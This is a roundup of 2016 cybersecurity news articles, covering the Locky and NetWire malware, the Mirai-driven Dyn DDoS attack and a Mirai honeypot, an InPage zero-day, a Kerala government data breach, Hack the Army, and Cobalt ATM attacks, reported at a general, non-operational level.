Malware uses Facebook and LinkedIn images to hijack your PC

Malware doesn’t always have to attack your computer through browser- or OS-based exploits. Sometimes, it’s the social networks themselves that can be the problem. Researchers at Check Point have discovered that a variant of known ransomware, Locky, is taking advantage of flaws in the way Facebook and LinkedIn (among others) handle images in its bid to infect your PC. The trick forces your browser to download a maliciously coded image file that hijacks your system the moment you open it. If you do, your files are encrypted until you pay up.

While the actual Locky code is relatively pedestrian and easy to avoid if you’re aware (just don’t open the file), it’s the delivery mechanism that has analysts worried. Many security apps explicitly trust big social networks, and many people aren’t used to worrying about their downloads at sites like Facebook.
Check Point says it told Facebook and LinkedIn about the exploit in September, but it’s not clear that there are fixes in place. We’ve reached out to both companies to find out what the situation is right now. Whether or not you’re in the clear, this is a reminder that you can’t take the safety of social sites for granted — it’s a good idea to be wary of any downloads you weren’t expecting.

NetWire RAT Back, Stealing Payment Card Data

The remote access Trojan NetWire is back and this time making the rounds pilfering payment card data. The move is a shift for attackers behind notorious NetWire, that was once thought to be the first multi-platform RAT. Over the last couple of years payment card breaches have been mostly synonymous with point of sale (POS) malware that scrapes memory from credit and debit cards swiped through the infected system. A new variant of NetWire RAT scrapes card data and also boasts an integrated keylogger that can sniff data from devices like USB card readers, according to researchers at SecureWorks, who detailed on Monday the latest version of the RAT they came across back in September. The RAT relies on victims opening an attachment in a phishing email; once opened the malware is downloaded and the infection can linger for months or years until it’s discovered, according to SecureWorks researchers. Researchers claim they spotted the RAT collecting data during an incident response engagement, but that this particular variant wasn’t specially trained to target POS systems. This iteration was a .NET-compiled binary named “TeamViewer 10,” that once executed, unloads an .EXE file and gets to work maintaining persistence. Researchers claim the file creates a Windows shortcut in the Startup menu, something that ensures the RAT launches every time the victim logs into the system. Researchers note the file has nothing to do with TeamViewer; it was likely just the name the malware’s author gave it to trick victims into thinking the file was the actual remote support software. In addition to copying itself to the startup menu, NetWire also injects code in notepad.exe to evade detection. Ironically, the technique did more harm than good and got the malware noticed, as it’s odd for notepad to have an active network connection. It wasn’t until researchers devised a decoder to decode the keylogger’s output files that they determined it was actually stealing sensitive information. They found track one and track two card data, plain text credentials and data that helps the attacker know where the data was entered. “The files also display the window title of the opened application, which reveals which application and website the sensitive information was entered,” SecureWorks’ research describes. Researchers with the firm didn’t disclose which company’s system it discovered the RAT on, only that it was an organization that processes numerous credit cards on a daily basis. The NetWire RAT is by no means new – it’s been around in one iteration or another since 2012. Attackers used NetWire last year in a rash of attacks against banks and healthcare companies. Victims of that variant would have had to have opened a malicious Word document, rigged with macros, to download the RAT from Dropbox in order to get infected. In 2014 researchers with Palo Alto Networks discovered that a group of Nigerian scammers – operating under the guise of Silver Spaniel – were using Netwire to remotely control infected systems. Researchers with FireEye observed a separate spam campaign that same year peddling RATs like Netwire and DarkComet, along with Trojans such as Zeus and Handsnake. Retail chains are likely wary to hear of this week’s Netwire news. The holiday season is perpetually marred by credit card fraud. Three years ago the now infamous Target hack affected customers who shopped at U.S. Target stores during this pivotal span of time, between November 27 and December 15. The same malware that hit Target’s point of sale terminals, BlackPOS, was ultimately tied to the even bigger hack of Home Depot that following summer, although that connection was disputed by some experts.

The remote access Trojan NetWire is back and this time making the rounds pilfering payment card data. The move is a shift for attackers behind notorious NetWire, that was once thought to be the first multi-platform RAT. Over the last couple of years payment card breaches have been mostly synonymous with point of sale (POS) malware that scrapes memory from credit and debit cards swiped through the infected system. A new variant of NetWire RAT scrapes card data and also boasts an integrated keylogger that can sniff data from devices like USB card readers, according to researchers at SecureWorks, who detailed on Monday the latest version of the RAT they came across back in September. The RAT relies on victims opening an attachment in a phishing email; once opened the malware is downloaded and the infection can linger for months or years until it’s discovered, according to SecureWorks researchers. Researchers claim they spotted the RAT collecting data during an incident response engagement, but that this particular variant wasn’t specially trained to target POS systems. This iteration was a .NET-compiled binary named “TeamViewer 10,” that once executed, unloads an .EXE file and gets to work maintaining persistence. Researchers claim the file creates a Windows shortcut in the Startup menu, something that ensures the RAT launches every time the victim logs into the system. Researchers note the file has nothing to do with TeamViewer; it was likely just the name the malware’s author gave it to trick victims into thinking the file was the actual remote support software. In addition to copying itself to the startup menu, NetWire also injects code in notepad.exe to evade detection. Ironically, the technique did more harm than good and got the malware noticed, as it’s odd for notepad to have an active network connection. It wasn’t until researchers devised a decoder to decode the keylogger’s output files that they determined it was actually stealing sensitive information. They found track one and track two card data, plain text credentials and data that helps the attacker know where the data was entered. “The files also display the window title of the opened application, which reveals which application and website the sensitive information was entered,” SecureWorks’ research describes. Researchers with the firm didn’t disclose which company’s system it discovered the RAT on, only that it was an organization that processes numerous credit cards on a daily basis. The NetWire RAT is by no means new – it’s been around in one iteration or another since 2012. Attackers used NetWire last year in a rash of attacks against banks and healthcare companies. Victims of that variant would have had to have opened a malicious Word document, rigged with macros, to download the RAT from Dropbox in order to get infected. In 2014 researchers with Palo Alto Networks discovered that a group of Nigerian scammers – operating under the guise of Silver Spaniel – were using Netwire to remotely control infected systems. Researchers with FireEye observed a separate spam campaign that same year peddling RATs like Netwire and DarkComet, along with Trojans such as Zeus and Handsnake. Retail chains are likely wary to hear of this week’s Netwire news. The holiday season is perpetually marred by credit card fraud. Three years ago the now infamous Target hack affected customers who shopped at U.S. Target stores during this pivotal span of time, between November 27 and December 15. The same malware that hit Target’s point of sale terminals, BlackPOS, was ultimately tied to the even bigger hack of Home Depot that following summer, although that connection was disputed by some experts.

See more at: NetWire RAT Back, Stealing Payment Card Data https://wp.me/p3AjUX-vMg

Open Source Honeypot for Mirai Detection

Cymmetria Research is releasing an open source honeypot for Mirai detection, a specific tool built to match what Mirai expects, based on its source code. MTPot was developed by Dean Sysman, Co-Founder & CTO; Itamar Sher, Head of Research; and Imri Goldberg, Co-Founder & VP R&D; Cymmetria.

Mirai has hit the news recently with the huge DDoS attack (“DynDOS”) that occurred in October, which has overwhelmed Internet service providers and caused multiple disruptions, making DDoS one of the key concerns of security as well as businesses worldwide.

According to the company, a need arose for a very lightweight honeypot with which one could collect verified Mirai Indicators of Compromise (IoCs) – specifically IP addresses trying to compromise IoT systems – and the malware samples they infect them with.

In addition to the DDoS component, Mirai first compromises IoT devices, building an infrastructure from which the DDoS can be launched. The infection attempt is what Cymmetria aims to detect.

The Mirai honeypot functionality includes the ability to:

·         Detect incoming connections on any port using telnet (equivalent to listening on that port).

·         Specifically ID the Mirai version we researched (the one which is open source), based on the commands requested from the service.

·         Alter parameters to ID Mirai (port and commands).

·         Report to a Syslog server.

·         Collect the malware samples Mirai tried to infect the user with (will currently crash Mirai instead, see below note).

The company says that there was a limit as to how much debugging time they could invest in Mirai and this last functionality (collecting samples) is not currently working. Instead, Mirai crashes when it receives the input it expects.

Usage of the tool is simple, but much like any other low interaction honeypot, it has limitations by its nature of emulating a service. This is shown through the requests Mirai sends via its telnet connection, based on the mirai source code available on GitHub, here. Thus, it can be fingerprinted if anyone puts their mind to it.

To download the mirai honeypot from Cymmetria's Git, click here. The company also offers the MazeRunner Community Edition, a free version of Cymmetria’s enterprise cyber deception platform

The Threat of Connected Devices to the Internet

At least three consecutive waves of complex online attacks were directed at Domain Name System (DNS) servers operated by Dyn, a US internet infrastructure provider. The attack on October 21, 2016 consisted of a Distributed Denial of Service (DDoS) attack, and blocked access to thousands of websites, including Netflix, Amazon, Twitter, Airbnb, the New York Times, PayPal, and more. Immediately, suspicions centered on Russia and China as having both the motivation and the ability to plan and execute such an attack. Yet as of this writing, it is not at all clear if the attack was state-motivated. After the attack, it was reported that the Chinese and Russian hacker group known as New World Hackers assumed responsibility and claimed it was a sophisticated attack using botnets at higher-speed traffic than ever know before – 1.2 terabytes per second (Tbps).

The attack exploited vast numbers of connected devices (in an announcement to the media, Dyn stated that some 100,000 devices were involved). These devices, also known as the Internet of Things (IoT), include webcams, alarm systems, baby monitors, internet-based security cameras, DVRs, printers, and routers – all connected to the internet. The attackers managed to plant a software component in these devices that could receive commands from a control server so that the masses of devices all sought out the target in a synchronized manner and paralyzed the attacked servers’ ability to function by flooding it with traffic. The vast majority of these devices lack any kind of significant defenses; access to most of the systems is ensured through default usernames and passwords installed by the manufacturer. In fact, there is no current effective concept to respond to this type of threat.

The threat inherent in the swarm of connected devices is not new. As early as 2013, Symantec reported the existence of a worm called Linux.Darlloz that according to estimates, infected some 50,000 IoT connected devices, such as routers and Set Top Box devices or computers based on Intel’s X86 architecture. The goal was to install software allowing attackers to mine crypto currencies. In 2015, Symantec issued a detailed report about simplifications that make it possible to break into 50 different kinds of smart home devices. In its April 2016 report, the company stated that medical devices (such as insulin pumps, X-ray systems, and CT scanners) are also exposed to attack, as well as smart TV systems and dozens of other devices of all types.

Even though the ability to penetrate these devices and carry out extensive DDoS attacks through them was not surprising, the intensity of the attacks demonstrated the destructive capability of using a large number of synchronized simple devices. The attack broke the record for the largest DDoS attack ever, which occurred in September 2016, targeting the French company OVH, at a scope of 1 Tbps; it used bots (software agents) that exploited the widespread CCTV cameras. In many respects, this is a dangerous escalation and sets a new threshold for a cyber threat that on a few levels so far has no satisfactory response.

The first aspect is connected to the proliferation of these devices. In the US, there are about 25 connected devices per every 100 people, and this is just the beginning of the trend. Gartner Inc. estimates that in 2016 the world will have 6.4 billion connected devices, and that by 2020 that number will approach 21 billion. Such a vast number of devices creates a significant weakness for the web and allows attackers of various sorts to use them for any number of goals. The new twist in the most recent attack was the simplicity with which it was carried out. Millions of devices can serve as the potential means for DDoS cyberattacks whose execution is relatively simple, because the devices create new entrance points to the internet, making the scope of the threat enormous. The threat grows even greater because end devices, such as smartphones and computers, are used to control the connected devices.

The second aspect concerns the weakness of the defense. Most IoT devices lack appropriate means of security, making it easy for attacks to exploit the weaknesses of the systems operating the devices. The majority of manufacturers have yet to adopt a framework of standards and security; they generally use publicly available open code to make it possible for their devices to communicate with other similar devices in the area, and this itself generates severe security soft spots. Important corrective steps have been initiated in the United States, as security companies, manufacturer associations, and even government agencies have begun to cooperate, but these steps are far from constituting a sufficient defensive response.

The third aspect regards the scope and depth of the damage. The attack on Dyn was a clear warning sign: while the offensive capabilities displayed in the attacks did not require anything particularly sophisticated, the impact was significant. The fact that the malicious code was made public prepared the ground for other attacks that will make use of this or similar code, and raises the specter that the writers of the code already possess an improved version. Thus the use of similar methods of attack will presumably be seen again, perhaps even in more powerful versions.

Finally, there is privacy. One of the key problems with connected devices is securing user privacy. Connected devices are constantly collecting information about their users’ parameters, at home and in the office, including the nature of use of equipment and electrical appliances as well as wearable devices, whose use is becoming more widespread. The inherent defensive weaknesses of these devices means that all that information could be available to various attackers intent on subversion.

The weakness shown in the last attack is not the burden of the private sector alone. The use of armies of connected devices is a challenge for the state, because it has the capability to harm the routine performance of governments and, worse still, disrupt performance during emergencies and in wartime. Because the risk is real, defending connected devices is an enormous challenge. In response to the attack on Dyn, the United States government was called on to enact regulation on the security of IoT products. Indeed, this seems precisely where efforts should be focused, with measures similar to the steps taken in the financial sector. Although the problem is global, Israeli entities charged with cyber security must fully understand the risk of exposure to such attacks and take action by partnering with international efforts on the issue, while at the same time taking steps to enhance the relevant defensive mechanisms and their continued performance in order to cope with this type of attack.

NITA committed to strict cyber security

He explained that with an oversight responsibility over the Electronic transaction ACT (ACT 772); used to cure cybercrime, NITA with support from stakeholders such as the law enforcement agencies and the judiciary, was empowered to ensure that the ACT was implemented to the letter.
Mr Atta-Boateng made these remarks, in a speech read on his behalf in Accra, at a Computer Security Incident Response Team training workshop.
He said the recent security governance initiative with the United States Government and the GLACY+capacity building with the Council of Europe, which NITA was fully involved, would bring Ghana the needed capacity to implement the recently approved Cyber Security Policy and Strategy to improve on the fight against cybercrime.
He said NITA had been mandated to lead in the development and implementation of cyber security policy and strategy to make Ghana a safe place in cyberspace.
“NITA was actively involved in the development of the national policy on cyber security and would be a principal player in the implementation,” he said.
“NITA is the Government’s ICT service player and it has rolled out an elaborate wireless and fibre optics network across the country.
“It has also developed and is managing the National Datacentre Infrastructure currently being used by both public and private sectors entities,” Mr Atta-Boateng added.
He said NITA, as a manager of the huge ICT Infrastructure, was very mindful of the security of the network and must ensure that the network was always up to ensure that the government’s business was not impeded.
He said in view of this NITA had set up the NITACERT in 2012, the first computer security incidents Response Team(CSIRT) in Ghana, to manage incidents that occurred on the network.
With the establishment of the National CSIRT, CERT-GH, in 2014 by the Ministry of Communication, NITACERT now worked closely with CERT-GH to secure its network elements.
Mr Atta-Boateng said NITA currently hosted CERT-GH and supported its operation in the light of its commitment to ensure that the Ghana Cyber was safe.
“It is on this note that NITA has partnered with other stakeholder in the private sector and civil society to promote awareness of cyber security by organising the cyber security initiative this year,” he said.
He said under the security governance initiative, more capacity building and awareness creation activities would begin next year.
The training workshop, which is part of the 2016 National Cyber Security Week Celebration, is to create awareness to participants on computer security incident response teams and their role in ensuring cyber security.
Cyber security is the body of technologies, processes and practices designed to protect networks, computers, programmes and data from attack, damage or unauthorised access.
Mr Eric Akumiah, CERT-GH Manager, Ministry of Communication, said the best way of ensuring cybersecurity was through creating awareness on it.
He noted that 70 per cent of cyber security could be attributed to awareness creation and 30 per cent to technical; adding that, an awareness creation would allow the country to have a firm grip and know what to do.
He said the workshop was to create high a level of cyber security awareness and how to be more responsive towards it.
Mr Kenneth Adu-Amanfoh of the National Communication Authority, said the Authority in collaboration with NITA, would ensure that the National Cyber Space was free from criminals.
He said as regulators of the telecommunications sector, the Authority would ensure that consumers got the best services from the operators.
Mr Marcus Adomey, the Chief Operations Manager, AfricaCERT, in his presentation, noted that the internet had no respect for national borders; hence, there was the need for an appropriate structure to deal with cyber crime

How Israel Built One Of The World’s Most Powerful Cyber Armies

In the last few years, along with the United States, UK, China and Russia, Israel has become a superpower in the world of government hacking and cyber espionage.
Israeli cyberspies are believed to have worked with NSA hackers to develop Stuxnet, the world’s first cyberweapon. And many of its cyberspies and warriors have moved to the private sector to launch companies worth hundreds of millions of dollars that have a footprint all over the globe, such as Cellebrite or the NSO Group. How did such a small country become such a big player in the world hacking stage?
At the core of Israel’s success in cyberspace is a military intelligence corps named Unit 8200, which specializes in sophisticated hacking and espionage operations. Young Israeli geeks vie to get into Unit 8200 to have a chance to work within a team tasked with carrying out cutting-edge missions, and the license to hack and spy on almost anyone.
“You get 18 or 19-year-olds to deal with the most exciting stuff that anyone can deal with, espionage!” said Ronen Bergman, an investigative journalist at Yedioth Ahronoth.
After they leave service, they can leverage the experience and prestige of Unit 8200 to get practically any cybersecurity job or get funding to launch a company. That’s why kids in high school dream about joining Unit 8200, and that’s why the Israeli government has set up a program to nurture and recruit high school kids interested in computers.

A zero-day vulnerability in InPage publishing software used primarily in Urdu, Pashto and Arabic-speaking nations has been publicly exploited in attacks against financial institutions and government agencies in the region. While there are more than 10 million InPage users in Pakistan and India alone, there are a significant number of users in the U.S., U.K. and across Europe as well. Related Posts IBM Opens Attack Simulation Test Center November 16, 2016 , 6:04 pm CrySis Ransomware Master Decryption Keys Released November 14, 2016 , 2:20 pm Microsoft Patches Zero Day Disclosed by Google November 8, 2016 , 2:57 pm Researchers at Kaspersky Lab today disclosed the vulnerability after a number of attempts to privately report the bug to InPage were ignored. “We have informed the vendor of the affected software of the existence of the vulnerability, but have received no reply, while the attacks continue,” Kaspersky Lab said in a statement. “We have also informed the Indian CERT and received the reply that the organization’s specialists are looking into the issue.” Kaspersky Lab said it’s possible a number of criminal or nation-state actors are using this exploit since it has recorded several different attacks against banks in Asia and Africa, as well as others targeting government agencies. The exploit is spreading via phishing campaigns, and was discovered during a separate investigation in September. It was then when Kaspersky Lab researchers found a file with a .inp extension that was analyzed and found to contain shellcode inside a Microsoft OLE file, a file format that has been used in a number of Office exploits dating back to 2009. The researchers detected a number of different payloads and command and control servers used in the respective attacks. A list of C2 servers and indicators of compromised has been published as well. Kaspersky Lab’s analysis of some of the emails shows that the attackers used other exploits using .rtf and .doc files in conjunction with the InPage exploit. The attacks dropped different versions of particular keyloggers and backdoors on victims’ machines. The vulnerability in question is in a parser in the main InPage module. “The parser in the software’s main module ‘inpage.exe’ contains a vulnerability when parsing certain fields,” Kaspersky Lab said. “By carefully setting such a field in the document, an attacker can control the instruction flow and achieve code execution.” The shellcode found in the document first looks for certain patterns in virtual memory space before launching a decoder that obtains an instruction pointer and decrypts the next stage of the attack. At that point, a downloader grabs and executes the payload. Kaspersky Lab researchers said the attacks are similar to attacks exploiting vulnerabilities in the Hangul Word Processor against government targets in South Korea. Researchers at FireEye last year found such an attack and linked the payloads and command and control infrastructure used to North Korea. “Despite our attempts, we haven’t been able to get in touch with the InPage developers,” Kaspersky Lab said. “By comparison, the Hangul developers have been consistently patching vulnerabilities and publishing new variants that fix these problems.”

See more at: InPage Zero Day Used in Attacks Against Banks https://wp.me/p3AjUX-vLy

Attackers use ancient zero-day to pop Asian banks, govts

Attackers are compromising government and banks across Asia by exploiting a years-old zero day vulnerability in desktop publishing application InPage, which targets users working in Urdu or Arabic.
Kaspersky Labs analyst Denis Legezo found the attacks and reported the zero-day to InPage, which he says ignored his disclosures.
Legezo says InPage has some 19 million users, 10 million in Pakistan, six million in India, two million in the UK, and one million in the US.
If someone wants to deploy attack modules into regional press-related companies, an InPage exploit would work well.
"We don’t observe any public mentions of [the InPage] exploit so we consider it a zero day.
Lengezo found live attacks, likely from multiple groups, utilising the zero day vulnerabilities against unnamed banks and governments in Myanmar, Sri-Lanka and Uganda.
Criminals are attaching multiple InPage files and also exploiting old bugs through attached .rtfs and xxx.doc files.
The analyst found several keyloggers and backdoors within the phishing emails used to attack InPage users.
He says the parser within the proprietary InPage file format contained a vulnerability that allowed attackers to gain control of instruction flow and then remote code execution.
"By all appearances, this newly discovered exploit has been in the wild for several years," Lengezo says.
Hackers have previously targeted regionally-specific software. Several exploits have been found in the Hangul Word Processor almost exclusively used in South Korea in what Lengezo says are attacks against Korean interests.

Nigerian companies lost $550M to cyber-criminals in 12 months

Nigerian businesses lost slightly more than half a billion US Dollars in the last twelve months to cyber criminals, a new pan African cyber intelligence report reveals.


The Nigeria Cyber Security Report 2016, which is expected to be launched next week at the eNigeria Conference and Expo in Abuja was researched, analysed, compiled and published by Kenyan based Serianu in partnership with Nigeria’s Demadiur Systems and the United States International University (USIU)’s Centre for Informatics Research and Innovation (CIRI).
The report is said to be the first of its kind in Nigeria, as it sheds light on the impact that cybercrime has had on local businesses.
Speaking on the report, Serianu’s Managing Director, Mr. William Makatiani said that in developing the research, the firm’s Cyber Threat Intelligence Team reviewed publicly and privately available data from individual industries and performed interviews of business leaders and IT security practitioners.
Makatiani noted that the Nigeria Cyber Security Report 2016 established that the annual cost of cybercrime to Nigerian business is close to Naira 173,387,500,000 (USD550 Million).  To illustrate this further, the report reveals that more than half (56.3%) of Nigerian businesses remain exposed to cyber-attacks.
“A vast majority of these companies and organizations are not even aware of the threats that they are exposed to from criminals, who are always trawling the Internet for firms to raid,” said Makatiani.
According to The Nigeria Cyber Security Report 2016, systems found to be most at risk were MikroTik routers, Apache HTTPD web servers, IIS Servers and Cisco routers. The most vulnerable applications identified were exchange servers and those running Microsoft Outlook Web Applications emerged as the most common.
The report warns that security breaches, especially those perpetrated by internal staff are becoming more sophisticated. Effectively, it took up to one year to detect an external cyber-attack and resolve it.  The average time taken to detect an external attack in a typical organisation in Nigeria was 260 days and another 80 days to resolve the attack. The report reveals that it in many organizations, it took them nearly two years to detect and resolve malicious insider attacks. This especially apparent in organisations that had not invested in cyber security products that facilitate anticipation, detection, recovery and containment of cybercrime.
Makatiani explained that many of organizations had been found to maintain administrative interfaces viewable from anywhere on the Internet and that their owners had failed to take preventive cautionary measures, including changing manufacturers’ default passwords. During the study, the research team came across a total of 100,000 Internet routers and cameras publicly accessible to anyone who could get to them via the Internet.
Ikechukwu Nnamani, President of Demadiur Systems and the local research lead, added that Nigeria as a country has not yet established any process to track and capture cyber criminals.
“To counter this situation, Nigerians installing these Internet access systems in their homes/office networks must work with cyber security experts to ensure that they are not exposed. Similarly, companies need to raise their degree of vigilance with the IT teams required to invest more time and resources in auditing their entire systems and establishing modalities to reduce breaching incidences,” said Nnamani.

Oracle buys cyber attack target Dyn

Oracle plans to enhance its offerings with Dyn's expertise in monitoring, controlling, and optimizing cloud-based internet applications and managing online traffic (AFP Photo/Justin Sullivan)

Oracle plans to enhance its offerings with Dyn’s expertise in monitoring, controlling, and optimizing

 cloud-based internet applications and managing online traffic (AFP Photo/Justin Sullivan)

Oracle on Monday announced it is buying Dyn, a Web traffic management firm recently hit with a cyber attack that closed off the internet to millions of users.

Business software and hardware titan Oracle did not disclose financial terms of the deal to acquire US-based Dynamic Network Services Inc, or Dyn.

Oracle planned to enhance its own offerings with Dyn’s expertise in monitoring, controlling, and optimizing cloud-based internet applications and managing online traffic.

“Dyn’s immensely scalable and global DNS is a critical core component and a natural extension to our cloud computing platform,” Oracle product development president Thomas Kurian said in a release.

Dyn was the target of cyber attacks that pounded the underpinnings of the internet in October, crippling Twitter, Netflix and other major websites with the help of once-dumb devices made smart with online connections.

The onslaught incapacitated a crucial piece of internet infrastructure, taking aim at a service entrusted to guide online traffic to the right places by turning website names people know into addresses computers understand.

The hacker was probably a disgruntled gamer, an expert whose company closely monitored the attack said last week.

Dale Drew, chief security officer for Level 3 Communications, which mapped out how the October 21 attack took place, told a Congressional panel that the person had rented time on a botnet — a network of web-connected machines that can be manipulated with malware — to level the attack.

Using a powerful malicious program known as Mirai, the attacker harnessed some 150,000 “Internet of Things” (IoT) devices such as cameras, lightbulbs and appliances to overwhelm Dyn systems, according to Drew.

Dyn has more than 3,500 customers including Netflix, Twitter, and CNBC, making tens of billions of online traffic optimizing decisions daily, according to Oracle.

Cyber Security: Facebook Unveils Online Safety Centre

Facebook worked with partners including the International Center for Leadership Development in Nigeria and Watoto Watch Network in Kenya to bring its safety resources to life and address local communities Just two months after Facebook CEO Mark Zuckerberg traveled to Nigeria and Kenya to meet with developers, partners, and entrepreneurs, Alex Stamos, Chief Security Officer at Facebook, gave a keynote address at the CyberXchange (http://Cyberxchange.com) security conference in Lagos, Nigeria about the company’s approach to keeping people safe and making the internet more secure for everyone. Keeping you and your information safe is a core part of helping our community grow, connect, and support each other.
Stamos addressed an audience of security industry professionals, researchers, and students who gathered to discuss solutions to cybersecurity challenges in Nigeria and around the world. He explained that Facebook builds security protections to help keep people safe even under non-ideal circumstances that security professionals often overlook—such as weak password usage or running out-of-date devices. Facebook performs automated checks to help detect suspicious logins to protect people’s accounts, and they ship their own cryptography with their mobile app to make people more secure on those devices.
He also stressed the importance of consumer awareness around safety and security to protect people’s information and help them feel comfortable being themselves online. Nigeria officially recognized National Cyber Security Awareness Month in October, underscoring the need to educate the public about how to protect themselves. This focus on awareness is at the heart of Facebook’s newly redesigned Safety Center (https://www.Facebook.com/safety), an engaging resource to help people get the information they need about controlling their information and staying safe.
“People come to Facebook to share important and personal moments in their lives. That’s why we build our services and tools to help people remain in control and protect their accounts. We always have to consider the situations in which our technology will be used so that we can offer people the best security and safety for what they need,” said Stamos.
The new Safety Center walks people through the tools Facebook offers to control your experience, as well as numerous tips and resources for safe and secure sharing. The Safety Center is available in over 50 languages, works well on mobile devices, and includes step-by-step videos on a variety of popular safety topics. Facebook worked with partners including the International Center for Leadership Development (http://ICDLng.org) in Nigeria and Watoto Watch Network (http://WatotoWatchNetwork.org) in Kenya to bring its safety resources to life and address local communities.
This update also brings the Bullying Prevention Hub to everyone on Facebook. The Hub is a resource for teens, parents and educators seeking guidance on how to prevent and address bullying. Developed with the Yale Center for Emotional Intelligence in 2013, Facebook now works with nearly 60 partners around the world to make the Bullying Prevention Hub more widely available.
For Facebook, making the world more open and connected also means keeping people and their information safe. Check out the new Facebook Safety Center today.

Cybersecurity incidents on rise in India

Cyber attacks in India have risen drastically and cybersecurity watchdog Indian Computer Emergency Response Team (CERT-In) has tracked that around 39,730 cyber incidents have taken place this year till October.

The information was provided by IT and Law Minister, Ravi Shankar Prasad on Wednesday (November 16) in the lower house of the parliament where he commented that over the period the nature and pattern of cybercrime have become more sophisticated and complex which include phishing, scanning and probing, website intrusions and defacements, virus and malicious code, Denial of Service attacks among others.

Though the CERT-In report suggests that there has been a decline in cyber security incidents from 2014 which had 44,679 incidents to 2016; the NCRB data reports an increase in registered cyber crime cases from 2013-5,693 cases to 2015-11, 592 cases.

"As per current trends, the cyber attacks observed on networks/systems in Indian cyberspace are observed to be directed from cyberspace of different countries including Pakistan," said, Prasad.

Junior Minister of IT and Law, P.P. Chaudhary said that in order to imminent the threats from other countries, “periodic scanning of cyberspace is carried out” adding that various other steps in the form of legal framework, emergency response, awareness, training, legal framework and implementation of best practices to prevent occurrences of cyber breaches are being carried out.

In order to implement the preventive steps, “the government has initiated the setting up of National Cyber Coordination Centre (NCCC) to generate necessary situational awareness of existing and potential cyber security threats and enable timely information sharing for proactive, preventive and protective actions by individual entities. In addition, the CERT-In is also setting up a Botnet Cleaning and Malware Analysis centre for detection of malware infected systems and notify, clean and secure systems of end-users to prevent further infections.

PDS website in Kerala hacked, affected over 34 million people

 An Indian hacker living in Tokyo hacked the Public Distribution System's website  of the  Indian state of Kerala and published them on Facebook. The breach has affected over  34 million people of the state.

The breach was informed  when the hacker hacked the Kerala government’s civil supplies department website and published the  confidential data of all of Kerala’s 8,022,360 Public Distribution System (PDS) beneficiaries and their family members on Facebook.

The hacked database reveals names, addresses, birth dates, gender, monthly incomes, electoral card details, consumer numbers of power and cooking gas connections. This leak is considered as the biggest breach in the world.


According to the cyber security expert in Dubai,“The data could be used to duplicate SIM cards or reset net banking passwords. It’s very serious.”

The hacker is working with a Tokyo-based IT consultant N.T.R. He hacked the website (civilsupplieskerala.gov) to  expose the security flaws in the site after  he got tired  to draw the attention of officials  towards the flaws in the website. The website is designed, developed and hosted by India’s National Informatics Centre (NIC).

“I wrote to the NIC several times pointing to the vulnerabilities and even called the civil supplies office warning them about a possible breach, but they ignored me. I had no option but to make the information public in a Facebook post,” N.T.R., a native of Thiruvananthapuram, said from Tokyo.

According to reports, the Kerala government had put the list online so that residents could verify their personal data and apply for corrections before new ration cards are printed in 2017.

“It was foolish on their part to put all ration card numbers on the website. All I had to do was make a data set of these numbers and then fetch the corresponding data for each number. It was simple as the security methods on the website were primitive. It took me just one week to access and transfer around 100GB of data. I am appalled no one raised the red flag despite the fact that I used the same IP address to make over 30 million requests,” said N.T.R.

Hack the Army: US military begs white hats to sweep it for bugs

Security experts reckon the US government’s newly unveiled "Hack the Army" bug bounty programme may usher in greater co-operation across the whole arena of security research.
The US Army will offer cash rewards to hackers who find vulnerabilities in selected, public-facing Army websites under the scheme, which builds on the US military’s previous "Hack the Pentagon" programme.
The Hack the Pentagon programme gave security researchers the chance to earn money by finding bugs on static websites that “weren't operationally significant as targets”.
Hack the Army goes one step further by inviting security researchers to look for flaws in websites that offer dynamic exchanges of personal identifiable information, sites considered central to the Army's recruiting mission.
Chris Lynch, the US Department of Defense's head of Digital Service, said: ”Hack the Army [will show] that bringing in creative hackers from a wide variety of backgrounds can fundamentally improve the way we protect our soldiers and secure our systems."
Army Secretary Eric Fanning added: ”We're not agile enough to keep up with a number of things that are happening in the tech world and in other places outside the Department of Defense. We're looking for new ways of doing business."
The Hack the Army programme will be usher in a new vulnerability disclosure policy.
“This policy makes me optimistic about the prospects for free and open security research,” said Tod Beardsley, senior security research manager, Rapid7, the firm behind the Metasploit penetration testing tool. “Instead of criminalising curiosity, this policy recognises the valuable contributions of the security experts when it comes to vulnerability discovery and disclosure.
“Adopting this policy goes a long way to legitimise the act of security research across all websites. Hackers the world over can point to this policy to help get other organisations, large and small, to recognise the reality that good faith efforts to ‘see something, say something’ has positive and immediate benefits when it comes to internet security,” he added. ®
HackerOne, a security consulting firm under contract with the Pentagon, will invite security researchers and bug hunters to participate in the Army challenge. US government civilians and active duty military personnel will also be authorised to participate. Registration for the program opened on Monday via https://hackerone.com/hackthearmy.
A full list of Army websites and databases that bug hunters will be permitted to hack under the program will be provided to registered and invited participants.

Cash-spitting ATM malware blamed on Cobalt hacking gang

A security firm has accused a computer criminal collective called the Cobalt Group of having perpetrated ATM malware attacks across Europe.
In a report, the Russian security firm Group-IB names Cobalt as the most likely hacking gang behind a series of attacks that compromised ATMs in 14 countries, including the Netherlands, Poland, Romania, Russia, Spain, and Britain.
Group-IB based the name they have given the hacking gangs off "Cobalt Strike," a penetration testing tool which helped the attackers leverage banking computers infected by malicious emails to access specialized servers that control ATMs.

From those compromised servers, the Cobalt gang conducted what are known as "touchless jackpotting" attacks. The group essentially commanded the target ATMs to spit out cash, but it did so without physically manipulating the terminals. Everything was done remotely in a logical (i.e. malware), not a physical, attack.
Cobalt knew what it was doing, too. Sometimes, all it took was ten minutes for the threat actor to gain control over a financial organization's banking network.
Unfortunately, we don't know a lot about the Cobalt group at this time. According to Reuters, Group-IB thinks the group is connected to another computer criminal group called Buhtrap based upon the two collectives' use of similar tools and techniques.
Buhtrap stole 1.8 billion rubles ($28 million) from Russian banks from August 2015 to January 2016. It is believed to have done so using fraudulent wire transfers and not logical attacks.

To be sure, Cobalt isn't the only group that has targeted banking infrastructure.
Cobalt's attacks constitute part of a growing crime wave against financial organizations, a surge which has included the use of malware to infect ATM hard disks and issue fraudulent money transfers via the SWIFT secure messaging provider.
Dmitry Volkov, Head of the Investigation Department and the Bot‑Trek Intelligence service, is concerned about the growing threat malware poses to banks. That's why he's urging financial organizations to upgrade their defenses against logical attacks:

"Logical attacks on ATMs are expected to become one of the key threats targeting banks: they enable cybercriminals to commit fraud remotely from anywhere globally and attack the whole ATM network without being 'on the radar' of security services. That said, this type of attack does not require development of expensive advanced software – a significant amount of the tools used are widely available on the deep web. Every bank is under threat of logical attacks on ATMs and should be protected accordingly."

The best way banks can protect themselves against malware attacks is by placing their ATMs inside a building that's in full-view of a security camera. That won't deter a determined criminal, but it will certainly raise the stakes for attackers with more to lose.
